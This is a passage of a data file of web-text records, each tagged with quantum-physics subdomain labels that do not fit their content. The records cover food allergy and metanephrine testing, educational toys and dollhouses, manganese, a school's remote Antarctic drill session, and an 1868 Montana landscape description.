may want to do additional testing. to diagnose a food allergy for certain, an allergist might do a blood test in addition to skin testing. this involves taking a small blood sample to send to a laboratory for analysis. the lab checks the blood for ige antibodies to specific foods. if enough ige antibodies to a particular food are in the blood, it ' s very likely that the person is allergic to it. if the results of the skin and blood tests are still unclear, though, an allergist might do something called a food challenge. during this test, the person is given gradually increasing amounts of the potential food allergen to eat while the doctor watches for symptoms. skin tests may itch for a while. if your child undergoes one, the allergist might give you an antihistamine or steroid cream for your child to use after the test to lessen the itching.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44354720464371566, "token_count": 357, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.085120"} {"text": "when we think of developing a child \u2019 s cognitive skills often we think of activities that are related to schoolwork and activities such as maths. unfortunately, these activities may seem mundane to your child and they might resist them. cognitive skills can be developed and enhanced just as easily by games that are fun, creative, interactive and appealing to your child. reasoning, memory, general knowledge and numerical activities that help develop a child \u2019 s cognition need not be boring any longer! educational toys are the solution to what would have otherwise been a boring and unpleasant way to help your child develop their cognitive skills. educational toys are made specifically to not only be fun but to enhance and enrich your child \u2019 s development. either these toys may focus on one area of cognition or there maybe toys that help build up multiple areas of development at one time. educational toys are a great way for parents to supplement and support their children \u2019 s school programme as well as help their child develop their cognitive skills. here are some types of educational toys that will help develop your child \u2019 s skills. memory games : memory is cognitive skill that all children should develop to help them later on with not only schoolwork. regardless of age, memory is an important skill and it is for this reason that you should provide your children with games that help build memory. there are plenty of educational toys and games out there in the market that are made specifically to develop memory skills. these games can be in the form of card games, board games, puzzles and other types of games. they all focus on your child \u2019 s ability to store information, recall information and classify information in a manner that is interactive and fun. general knowledge games : educational toys and games that supplement and enhance a child \u2019 s general knowledge are wonderful to help with school programmes since they may explore topics your child is doing in school in a more multi - sensory and interactive manner. children are more likely to be interested in and more likely to recall information if they are presented with facts in a fun way. if at home, they play general knowledge games that are covered in school they might find it easier to understand. regardless of whether a general knowledge game follows topics from the school curriculum or not you are assured that when your child plays this type of educational game they are leaning something. general knowledge games may explore one topic for example, space or dinosaurs or they may cover a range of topics, which enhances and tests a child \u2019 s knowledge. number and word games : these types of educational games are great for using at home to support your", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4664295034506144, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.105644"} {"text": "games may explore one topic for example, space or dinosaurs or they may cover a range of topics, which enhances and tests a child \u2019 s knowledge. number and word games : these types of educational games are great for using at home to support your child through their school curriculum or even for use in schools as part of the curriculum. word games primarily focus on developing you child \u2019 s vocabulary, grammar and spelling skills. math games usually try to build a child \u2019 s numerical skills such as numerical concept, number identification and number sequencing. these educational toys and games come in the form of puzzles, card games, board games and strategy games which help hone in on language and numerical skill development. all educational toys must help supplement and augment your child \u2019 s development in some way. it is advisable that you choose educational toys that helps develop cognitive skills in your child. choosing the right educational toy will be a fun way of learning for your child. sacha charleson - about the author : the modern day busy parent tries to compensate for his or her lack of time for his or her children by investing a great deal on education. thus, it is not a surprise how many of such parents move mountains just to provide their kids entertaining products that not only encourage play, but also instill discovery and learning. makers of toys worldwide recognize this growing trend and are, consequently, coming up with new and improved lines of children \u2019 s educational toys and games almost every month. what was once limited only to specialty toy and game shops, educational toys and games are now a staple in every children \u2019 s oriented stores around the world, even at general mass retailers, like wal - mart and k - mart. statistics show that the sales of toys and games have declined over the years. however, educational toys have been on the rise, as more parents opt to purchase products that would give them the most value for their money, as compared to, say, buying bratz dolls and hot wheels. the record for educational toys was broken in the holiday season of the year 2000, when toy maker leapfrog \u2019 s leappad learning system electronic reading toy became the bestselling children \u2019 s game of the time, helping the company boost its sales by a whopping 120 per cent! leapfrog \u2019 s success paved the way for other major and small toy makers to come up with educational toys of their own. jakks pacific, under its child guidance brand, released its own line of children \u2019 s educational toys and games following a deal with baby genius", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5221018204244093, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.107452"} {"text": "success paved the way for other major and small toy makers to come up with educational toys of their own. jakks pacific, under its child guidance brand, released its own line of children \u2019 s educational toys and games following a deal with baby genius. hasbro released its baby einstein line and unveiled its preschool units, namely the baby einstein company and playskool. these new toys encouraged children to dabble in art, music, different foreign and local languages, and even poetry. the strong demand for educational toys and games for children has urged major retailers, like toys \u201c r \u201d us, to allocate shelves upon shelves for these kinds of toys. and because more and more households are transforming into two - income families, it is likely that the demand will grow further as parents seek products that would try to fill their absence during their children \u2019 s formative learning years. with the rise in demand, it won \u2019 t be a surprise when the price tag that comes with these educational toys and games will also decrease as the years pass. right now, these kinds of toys are still a little expensive ( though it hasn \u2019 t stopped most parents from buying them ). in the future, due to the overwhelming interest, educational toys and games will be accessible to everyone. low jeremy - about the author : low jeremy maintains http : / / educational - toys. articlesforreprint. com. this content is provided by low jeremy. it may be used only in its entirety with all links included. playsets have a unique place in toy culture. any kid or adult who has ever played with toy figures knows how cool it can be to place that figure in a detailed and scaled environment where everything is \u201c figure \u201d sized. playsets can take the form of houses, vehicle interiors, jungle temples or alien locations from a galaxy far, far away. while it is fun to play with toy figures and more so to put these figures in specially designed vehicles and move them around, a playset is where the real fun happens. they are usually large, being made to fit the figures and generally contain a number of elements to interact with, whether it be a simple seat and table or a complex system of tunnels, traps or water elements for the figures to explore. so what are the best playsets available in 2010? the king of toy playsets has to be playmobil and they have a number of large sets available this year. playmobil has been around for decades and are known for the distinctive look of their small figures and detailed accessories. the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44925259906624415, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.108608"} {"text": "2010? the king of toy playsets has to be playmobil and they have a number of large sets available this year. playmobil has been around for decades and are known for the distinctive look of their small figures and detailed accessories. the playmobil playsets can be very large and come ready to play with figures and a whole heap of related accessories. this year their most popular large sets include an ancient egyptian pyramid, a pony farm, a huge holiday home, a forest lodge, castles and pirate ships. generally the sets come with 3 or more figures and a number of animals ( depending on the set ) and dozens of accessories large and small. for example set 4190, the horse farm, comes with 136 separate pieces, and includes just about everything you would need to run a successful horse stables. playmobil are the masters of detail! another company, kidkraft is well known for their children \u2019 s role play toys as well as a range of large \u201c wooden \u201d ( mdf ) playsets. their playsets include figures and a number of accessories, but not in the league of playmobil as the wooden figures are very simple and unable to hold tools. nevertheless the sheer scale of the playsets is amazing. they are colourful and full of painted / stickered details, definite fun for kids of all ages. current playsets include a spaceship, a submarine, a rescue station and a very cool glow in the dark space train station. as an example the rocket ship stands about 30 inches tall and contains four levels of play and a working lift to move between the floors. it also comes with 25 colorful pieces, including astronauts, robots, aliens, vehicles, craters that glow in the dark and more. the kidkraft sets are full of playable elements and will occupy kids for hours. of course, there are more playsets, particularly those within particular themes from television and movies, but these two options are wonderful to allow kids the option to let their imaginations flow without a preconceived storyline. inger fountain - about the author : inger loves stories and loves to write. as a librarian in a previous life she also has an insatiable thirst for general knowledge. you can visit her latest website which takes a look at playmobil toys including the awesome playmobil pirate ship. determining what you want to accomplish is the first step in collecting miniature doll house accessories. if you already have some pieces, you may want to think about using them as a base from which to build your collection", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4559874109555586, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.109687"} {"text": "including the awesome playmobil pirate ship. determining what you want to accomplish is the first step in collecting miniature doll house accessories. if you already have some pieces, you may want to think about using them as a base from which to build your collection. are these pieces similar in style? do they come from the same time period? will they fit well within the same collection? you will also need to consider how big you want your display to be before you begin. this will help you set some goals as to how many pieces you need and whether or not you want to set up a simple room box or a more elaborate miniature doll house. if you \u2019 re going to attempt crafting and constructing your own miniatures, you \u2019 ll now be more prepared to build the ones that will fit best in your display. if you don \u2019 t want to build your own furniture or feel you don \u2019 t have the skills, the questions above can be a good checklist for you when you \u2019 re out shopping for new additions or contemplating buying some pieces at a craft fair. one important lesson that you need to learn before you begin shopping for your miniature collectibles concerns scale. miniatures are constructed using a sizing scale. this scale ensures that the figures within the room box or miniature doll house are correctly proportioned. as an example, 1 : 12 scale means that 1 inch in your miniature display is equivalent to 12 inches in reality. this is the most popular scale used in miniatures, although you may also see some built to 1 : 24 scale and even some in such fine details as can be presented in 1 : 144. though most toy doll houses are not made to scale, any piece that would be worthy of collection will be precisely made to scale. you need to make sure that all of the pieces within your display are to the same scale in order to preserve the integrity of your dollhouse and miniatures. just like any hobby, miniature collectibles range in price from cheap to quite costly. you \u2019 ll need to determine your budget for starting off and whether you want to focus on collecting high - quality or rare pieces to build your collection slowly, or whether you \u2019 d like to buy an assortment of pieces to have nice rooms soon, and replace the pieces with better ones over time. how you choose to enjoy your hobby is up to you. gather the right information to make wise choices and well thought out additions to your collection. veronica scott - about the author : learn more about the fascinating world of miniatures. visit themagicaldollhouse.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.42206667005068715, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.110799"} {"text": "to enjoy your hobby is up to you. gather the right information to make wise choices and well thought out additions to your collection. veronica scott - about the author : learn more about the fascinating world of miniatures. visit themagicaldollhouse. com today for a great selection of wooden barbie doll house kits and dollhouse accessories from top miniature companies. leapfrog leapster 2 learning game system \u2013 pink your kid \u2019 s education should be one of your primary priorities as a parent. you should get them the best education that you can afford, and you should also let them have time for games and toys. there is a lot of gaming consoles available in the market today but you would also want your kids to learn from the games they play. however, not all kinds of games available for the different gaming consoles are educational. some games are even integrated with violence, blood and gore that can negatively affect your child \u2019 s psychology. it is recommended that you should purchase games that your children can learn from. in the past, kids learn through shaped blocks and other toys that they can physically hold. some of these toys can prove to be dangerous. so, you want to buy them something that is safe and something that they can learn from. it is a fact that playing is one of the best ways a child can learn. it may be logical thinking, language or it can even be math. with the right games, you can really develop your child \u2019 s intelligence. handheld games for children have existed for a long time. however, with today \u2019 s advancement in graphics and sound technology, a lot of handheld games for children now have better graphics and better sound quality. an example of an educational gaming system for children is called the leapster l - max learning game system pink edition. developed by leapfrog, you can be sure that they offer quality education and quality toys for your children. it is a fact that learning can be boring, this is why the leapster l - max learning game system pink edition have took it to the next level and made the learning experience fun for children. this particular gaming system is handheld. however, you also have the option on plugging it to your tv for a much better learning experience. leapster l - max learning game system pink edition is recommended for children aged 4 to 10 years old. it also has different gaming titles that you can integrate in the gaming system as your child develops. it has animations included where your child can easily learn how to identify and write letters and it also has games where your", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4437676298931412, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.112296"} {"text": "aged 4 to 10 years old. it also has different gaming titles that you can integrate in the gaming system as your child develops. it has animations included where your child can easily learn how to identify and write letters and it also has games where your child can play with their favorite cartoon character. this gaming system also teaches math, and language skills for different age levels. here are the things that you can expect this game system to teach your kids : depending on your child \u2019 s capability, you can effortlessly make learning easier for them with this gaming console. besides, what more can be fun for a child that having the ability to interact with their favorite cartoon character? no other gaming console for children offers this kind of learning experience than the leapster l - max learning game system pink edition. so, if you want your child to learn and at the same time have fun, you should purchase this game system for them. with the features that this game system offers, you can be sure that your child will use it for hours to have fun and at the same time learn about things that they will usually get bored off in school. language, math and art skills can be developed by using this game system. this game system also has a vast game library where your children can choose which game they want to play. they can choose to play with dora the explorer, scooby doo, spongebob squarepants and they can even choose to play other different games. there are different games for different age levels. all you need to do is choose which of the games can accommodate your child. so, if you want your child to have fun and at the same time learn something while they play, the leapster l - max learning game system pink edition is your choice. with this game system, you can expect your child to learn faster and play at the same time. think of investing in this game system as investing in your child \u2019 s education. emerson swanson - about the author : when i was a little girl, my biggest dream was to have my very own dolls house. i knew exactly what i wanted too. it had to open up so i could place the dolls house furniture all over and move it all around at will and it had to have a functioning front door. there had to be two stories ; upstairs would be a complete bathroom and two bedrooms \u2013 one for the mummy and daddy dolls and one for the baby doll \u2013 and of course, what would a dolls house be without a downstairs kitchen, lounge and dining room. there are few things", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4073090770164989, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.114897"} {"text": "stories ; upstairs would be a complete bathroom and two bedrooms \u2013 one for the mummy and daddy dolls and one for the baby doll \u2013 and of course, what would a dolls house be without a downstairs kitchen, lounge and dining room. there are few things that bring as much joy and happiness to a little girl than being able to play with her own dolls, dolls house and dolls house furniture. i would recommend that every parent or grandparent of a little girl make a plan of some sort to either buy or even build a dollhouse for their precious child. the hours of play that come from having one of your very own is worth all the money spent and effort put into making this magical childhood dream come true. dolls houses can also meet the likes and preferences of any little girl from victorian to modern day. the options are endless \u2013 almost as much the same as they are for a real house. miniature houses are great for play areas with space constraints, child - size, walk - in houses are wonderful for a bigger girl and one who has more play space. a garden, pool, club house, stables and tennis court are all optional extras to bring even more imaginational play into your daughter \u2019 s experiences. the dolls themselves are also a big factor in playing house. they have to fit into the house and they need to be flexible so that they can move around and use the furniture. for example a doll with legs that don \u2019 t move makes playing slightly frustrating as her movements are very limited. the more \u2018 real \u2019 the experience, the more fun there is to be had. these dolls can also if chosen carefully be a collector \u2019 s item with real value, adding another dimension to this fun activity. it also helps if the furniture is as close to a real - life setting as possible and by this i don \u2019 t mean that it has to be operational or even look exactly the same. it just has to have all the accessories like the kitchen and bathroom appliances too. these can found to match any dolls house or bought in a set, with so many detailed and varying types and designs, from porcelain to plastic, or they can be custom made which makes them all the more unique and personalised. having a dolls house fitted with furniture and dolls isn \u2019 t only something little girls enjoy either. many adults enjoy collecting and adding to their childhood collections of their dolls houses and furniture. so you never know this could turn out to be a future hobby of your little one. on top of this, there are also the generations of children who follow in the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4102543530298454, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.116225"} {"text": "pub. date : 2004 | online pub. date : september 15, 2007 | doi : 10. 4135 / 9781412952415 | print isbn : 9780761926498 | online isbn : 9781412952415 | publisher : sage publications, inc. about this encyclopedia department of health and human services amie r. scheidegger the department of health and human services ( hhs ) was established in 1980 to protect the health of all americans and provide health - related services to the public. by 2003, hhs was the largest grant - making agency in the federal government, representing the nation ' s largest health insurance program ( medicare ) and overseeing more than 300 federally funded health - and service - related programs. hhs ' s budget for 2003 was reported to be $ 502 billion, the majority of which ( $ 413 billion ) was devoted to the centers for medicare and medicaid services ( cms ). this division of hhs is responsible for administering medicare and medicaid programs, which provide health insurance for elderly and disabled persons ( medicare ) and works with state agencies to provide medical services and health insurance for low - income citizens of all ages ( medicaid ). part of administering these programs includes investigating fraudulent practices associated with medicare and medicaid. in 2002, the government was awarded $ 1. 6 billion in judgments and...", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3998553666918116, "token_count": 286, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.117618"} {"text": "at a glance why get tested? to help diagnose or rule out a pheochromocytoma when to get tested? when you have persistent or episodic high blood pressure and symptoms such as headaches, rapid heart rate, and sweating a blood sample drawn from a vein in your arm test preparation needed? preparation for the test is important for accurate results. you should discontinue epinephrine and epinephrine - like drugs for at least one week before the test, stop using acetaminophen 48 hours beforehand, and fast for 8 - 10 hours prior to collection. it is especially important not to have any caffeine - containing food ( soda, chocolate ), coffee ( including decaf ), tobacco ( smoking cigarettes or cigars ), tea, or alcohol for at least 4 hours before specimen collection. talk to your doctor about all the medications you are taking as well since several different drugs may interfere with the test. the test sample what is being tested? the plasma free metanephrines test measures the amount of metanephrine and normetanephrine in the blood. these substances are metabolites of epinephrine ( adrenaline ) and norepinephrine. epinephrine and norepinephrine are catecholamine hormones that help regulate the flow and pressure of blood throughout the body and play important roles in the body ' s response to stress. catecholamines are produced in the medulla \u2013 the interior portion of the adrenal glands \u2013 and secreted into the blood. once these hormones have completed their actions, they are metabolized to inactive compounds. norepinephrine breaks down into normetanephrine and vanillylmandelic acid ( vma ) and epinephrine becomes metanephrine and vma. both of the catecholamines and their metabolites are normally found in small fluctuating quantities in the blood and urine. a rare tumor called a pheochromocytoma can produce large amounts of catecholamines, resulting in significantly increased concentrations of metanephrine and normetanephrine. about 90 % of pheochromocytomas form in the adrenal glands and, while a few are cancerous, most are benign \u2013 they continue to grow but usually do not spread beyond their original location. the catecholamines produced by pheochromocytomas can cause persistent hyper", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4800734996220064, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.127439"} {"text": "fast for 8 - 10 hours prior to collection. it is especially important not to have any caffeine - containing food ( soda, chocolate ), coffee ( including decaf ), tobacco ( smoking cigarettes or cigars ), tea, or alcohol for at least 4 hours before specimen collection. talk to the doctor about all medications being taken. since several different drugs may interfere with the test, he may instruct the person being tested to stop taking all medications except those that are necessary for one week prior to the test. however, do not stop taking any medications without first consulting the doctor. ask a laboratory scientist form temporarily unavailable due to a dramatic increase in the number of questions submitted to the volunteer laboratory scientists who respond to our users, we have had to limit the number of questions that can be submitted each day. unfortunately, we have reached that limit today and are unable to accept your inquiry now. we understand that your questions are vital to your health and peace of mind, and recommend instead that you speak with your doctor or another healthcare professional. we apologize for this inconvenience. this was not an easy step for us to take, as the volunteers on the response team are dedicated to the work they do and are often inspired by the help they can provide. we are actively seeking to expand our capability so that we can again accept and answer all user questions. we will accept and respond to the same limited number of questions tomorrow, but expect to resume the service, 24 / 7, as soon as possible. note : this article is based on research that utilizes the sources cited here as well as the collective experience of the lab tests online editorial review board. this article is periodically reviewed by the editorial board and may be updated as a result of the review. any new sources cited will be added to the list and distinguished from the original sources used. sources used in current review pagana, k. d. & pagana, t. j. ( \u00a9 2011 ). mosby ' s diagnostic and laboratory test reference 10th edition : mosby, inc., saint louis, mo. pp 673 - 675. vuguin, p. m. ( updated 2011 october 4 ). pediatric pheochromocytoma. medscape reference [ on - line information ]. available online at http : / / emedicine. medscape. com / article / 988683 - overview through http : / / emedicine. medscape. com. accessed december 2011. ( reviewed 2011 january", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.464227910291049, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.131407"} {"text": "available online at http : / / emedicine. medscape. com / article / 988683 - overview through http : / / emedicine. medscape. com. accessed december 2011. ( reviewed 2011 january ). pheochromocytoma. american urological association aua foundation [ on - line information ]. available online at http : / / www. urologyhealth. org / urology / index. cfm? article = 14 through http : / / www. urologyhealth. org. accessed december 2011. blake, m. and sweeney, a. ( updated 2011 october 19 ). pheochromocytoma. medscape reference [ on - line information ]. available online at http : / / emedicine. medscape. com / article / 124059 - overview through http : / / emedicine. medscape. com. accessed december 2011. frank, e. et. al. ( updated 2011 june ). pheochromocytoma. arup consult [ on - line information ]. available online at http : / / www. arupconsult. com / topics / pheochromocytoma. html? client _ id = ltd through http : / / www. arupconsult. com. accessed december 2011. sources used for previous reviews thomas, clayton l., editor ( 1997 ). taber ' s cyclopedic medical dictionary. f. a. davis company, philadelphia, pa [ 18th edition ]. pagana, kathleen d. & pagana, timothy j. ( 2001 ). mosby ' s diagnostic and laboratory test reference 5th edition : mosby, inc., saint louis, mo. pp ( 900 - 903 ). ( \u00a9 2004 ). metanephrines, plasma. arup ' s guide to clinical laboratory testing [ on - line information ]. available online at http : / / www. aruplab. com / guides / clt / tests / clt _ a76b. jsp # 2461156 through http : / / www. aruplab. com. ( \u00a9 2004 ). metanephrines, plasma. arup ' s user ' s guide [ on - line test information ]. available online at http : / / www. aruplab. com / guides / ug / tests / 0050184. jsp through http", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5059506060582106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.132226"} {"text": ", plasma. arup ' s user ' s guide [ on - line test information ]. available online at http : / / www. aruplab. com / guides / ug / tests / 0050184. jsp through http : / / www. aruplab. com. eisenhofer, g. et. al. ( \u00a9 2003 ). biochemical diagnosis of pheochromocytoma : how to distinguish true - from false - positive test results. the journal of clinical endocrinology & metabolism vol. 88, no. 6 2656 - 2666 [ on - line journal ]. available online at http : / / jcem. endojournals. org / cgi / content / full / 88 / 6 / 2656 through http : / / jcem. endojournals. org. yogish, c. ( 2003 october ). the laboratory diagnosis of adrenal pheochromocytoma : the mayo clinic experience. the journal of clinical endocrinology & metabolism vol. 88, no. 10 4533 - 4539 [ on - line journal ]. available online at http : / / jcem. endojournals. org / cgi / content / full / 88 / 10 / 4533 through http : / / jcem. endojournals. org. ( 1999 june 16 ). researchers develop better means to diagnose adrenal gland tumors. nih news release [ on - line press release ]. available online at http : / / www. nih. gov / news / pr / jun99 / ninds - 16. htm through http : / / www. nih. gov. sadovsky, r. ( 2003 september 15 ). management of the clinically inapparent adrenal mass. american family physician, tips from other journals [ on - line journal ]. available online at http : / / www. aafp. org / afp / 20030915 / tips / 9. html through http : / / www. aafp. org. ( 2003 december 18 ). pheochromocytoma ( pdq\u00ae ) : treatment, health professional version. national cancer institute [ on - line information ]. available online at http : / / www. cancer. gov / cancertopics / pdq / treatment / pheochromocytoma / healthprofessional through http : / / www.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.508951032182178, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.133131"} {"text": "institute [ on - line information ]. available online at http : / / www. cancer. gov / cancertopics / pdq / treatment / pheochromocytoma / healthprofessional through http : / / www. cancer. gov. howard, s. ( 2002 august 29 ). heochromocytoma. medlineplus medical encyclopedia [ on - line information ]. available online at http : / / www. nlm. nih. gov / medlineplus / ency / article / 000340. htm. ( 2002 september ). pheochromocytoma. nih, warren grant magnuson clinical center, patient information publications [ on - line information ]. pdf available for download at http : / / www. cc. nih. gov / ccc / patient _ education / pepubs / pheo. pdf through http : / / www. cc. nih. gov. schwartz, g. and sheps, s. ( 2004 may 6 ). hypertension. medscape from acp medicine 2004. \u00a9 2004 webmd inc. [ on - line article ]. available online at http : / / www. medscape. com / viewarticle / 474790 through http : / / www. medscape. com. ( \u00a9 2004 ). pheochromocytoma. the merck manual second home edition [ on - line information ]. available online at http : / / www. merck. com / mmhe / sec13 / ch164 / ch164f. html through http : / / www. merck. com. wu, a. ( 2006 ). tietz clinical guide to laboratory tests, fourth edition. saunders elsevier, st. louis, missouri. pp 728 - 279. ( 2008 june 18, modified ). pheochromocytoma treatment, patient version. national cancer institute [ on - line information ]. available online at http : / / www. cancer. gov / cancertopics / pdq / treatment / pheochromocytoma / patient / allpages throughhttp : / / www. cancer. gov. accessed on 7 - 28 - 08. ( 2007 april 17, updated ). pheochromocytoma. national institute of child health and human development [ on - line information ]. available online at http : / / www. nichd. nih. gov / health", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48248484968593364, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.133946"} {"text": ". ( 2007 april 17, updated ). pheochromocytoma. national institute of child health and human development [ on - line information ]. available online at http : / / www. nichd. nih. gov / health / topics / pheochromocytoma. cfm throughhttp : / / www. nichd. nih. gov. accessed on 7 - 27 - 08. nanda, r. ( 2006 september 11, update ). pheochromocytoma. medlineplus medical encyclopedia [ on - line information ]. available online at http : / / www. nlm. nih. gov / medlineplus / ency / article / 000340. htm. accessed on 7 - 28 - 08. sweeney, a. et. al. ( 2007 september 11, updated ). pheochromocytoma. emedicine [ on - line information ]. available online at http : / / www. emedicine. com / med / topic1816. htm through http : / / www. emedicine. com. accessed on 7 - 28 - 08. ( \u00a9 2006 - 2008 ). pheochromocytoma. arup consult [ on - line information ]. available online at http : / / www. arupconsult. com / topics / oncologicdz / neuroendocrinetumors / pheochromocytoma. html throughhttp : / / www. arupconsult. com. accessed on 7 - 28 - 08.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46080283776568104, "token_count": 336, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.134525"} {"text": "students at altadena \u2019 s jackson elementary school got to go to antarctica wednesday \u2014 at least remotely. linda keavy \u2019 s fifth grade class of 37 students was chosen to help control a large drill currently in antarctica that is testing new technologies for a potential future mars trip to drill for signs of life. see video of kids helping move the drill and comments from 11 - year - old aspiring scientist and jackson student evad morris in the video attached. \u201c it \u2019 s very exciting to be able to be a part of this, \u201d said keavy, who noted one of the student \u2019 s fathers works for jpl. \u201c i \u2019 m proud of our school bringing up our scores. i feel we \u2019 re getting recognized which is awesome. most of the kids come from poverty level. \u201d when the big moment came, paulsen guided several students one by one on a computer and told them what commands to press in order to move the drill, which could be viewed via live skype video projected in class. \u201c i like this because they came here and chose our school to tell us about the drill that \u2019 s going to mars, \u201d said fifth grade student alyssa aragon, who was surprised at just how cold it can get in antarctica. the class was chosen after nasa employee david delgado was principal for a day at jackson elementary in the fall and was impressed with a lot of the science efforts at the school, pasadena unified school district communications and community engagement director adam wolfson told patch. jackson \u2019 s scores on the california standardized test rose from 9 % scoring proficient and above in 2008 - 2009 to 53 % scoring proficient and above in 2011 - 2012. the drill was built by nasa and honeybee robotics, which has an office in pasadena, and is being tested in antarctica since the conditions are similar to those of mars, honeybee robotics systems engineer gale paulsen told students wednesday. it can drill one meter into the ground, which is significantly further than other drills that dig five centimeters. paulsen told students more about the drill and answered questions, as did a team of scientists from nasa, honeybee and canada \u2019 s mcgill university currently in antarctica who communicated audio and video live via skype. \u201c what is the warmest it gets in antarctica? \u201d and \u201c why do you want to search for signs of life on mars? \u201d were among the questions students asked. students expressed a collective, \u201c woah \u201d when told the drill took nine months to build. \u201c this will hopefully inspire the future generation of scientists, \u201d said wolfson.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4323964450445976, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.139065"} {"text": "principal proposed uses our bodies contain only a very small amount of manganese, but this metal is important as a constituent of many key enzymes. the chemical structure of these enzymes is interesting : large protein molecules cluster around a tiny atom of metal. manganese plays a particularly important role as part of the natural antioxidant enzyme superoxide dismutase ( sod ), which helps fight damaging free radicals. it also helps energy metabolism, thyroid function, blood sugar control, and normal skeletal growth. the official us recommendations for daily intake of manganese are as follows : - 0 - 6 months : 0. 003 mg - 7 - 12 months : 0. 6 mg - 1 - 3 years : 1. 2 mg - 4 - 8 years : 1. 5 mg - 9 - 13 years : 1. 9 mg - 14 - 18 years : 2. 2 mg - 19 years and older : 2. 3 mg - 9 - 18 years : 1. 6 mg - 19 years and older : 1. 8 mg - pregnant women : 2 mg - nursing women : 2. 6 mg the best sources of dietary manganese are whole grains, legumes, avocados, grape juice, chocolate, seaweed, egg yolks, nuts, seeds, boysenberries, blueberries, pineapples, spinach, collard greens, peas, and green vegetables. a typical dosage used in studies on manganese is 3 to 6 mg daily. it is sometimes recommended at a much higher dose of 50 to 200 mg daily for 2 weeks following a muscle sprain or strain, but this dosage exceeds recommended safe intake levels ( see safety issues ). what is the scientific evidence for manganese? dysmenorrhea ( menstrual pain ) very high exposure to manganese ( due either to environmental pollution or manganese mining ) has resulted in a serious psychiatric disorder known as \" manganese madness. \" interactions you should know about if you are taking : - iron, copper, zinc, magnesium, or calcium : you may need extra manganese, and vice versa. - antacids : you may also need extra manganese. - reviewer : ebsco cam review board - review date : 07 / 2012 - - update date : 07 / 25 / 2012 -", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4558867083372681, "token_count": 465, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.141343"} {"text": "gallatin city, 1863 - 65 page 2 of 2 the three forks, 1868 pass cursor over image to view enlargement of lower center. panoramic lithograph by alfred e. mathews ( 1831 - 1874 ) pencil sketches of montana1 original size, 18 - 1 / 4 by 9 - 3 / 4 in. he three forks is one of those rare and beautiful localities in nature, that, when once seen remains indelibly fixed in the memory. the jefferson, madison and gallatin here mingle their waters, to form the missouri river. these three tributaries of the mighty missouri meander gracefully through an extensive valley, their banks fringed with picturesque groups of cottonwood and willow trees of various growths, with their sparkling waters occasionally seen through the dense foliage. far in the distance the mountains near virginia city are seen. the jefferson comes in on the right, and its course is marked by a dense forest of cottonwood, nearly a mile in width. the course of the madison is first indicated in the distance on the left, and joins the jefferson about a mile from the point of observation ; and here the missouri commences. in the middle distance on the left a few houses are seen, this is gallatin city, the county seat of gallatin county. this place is destined at no very distant period to be a large and flourishing town ; it is most 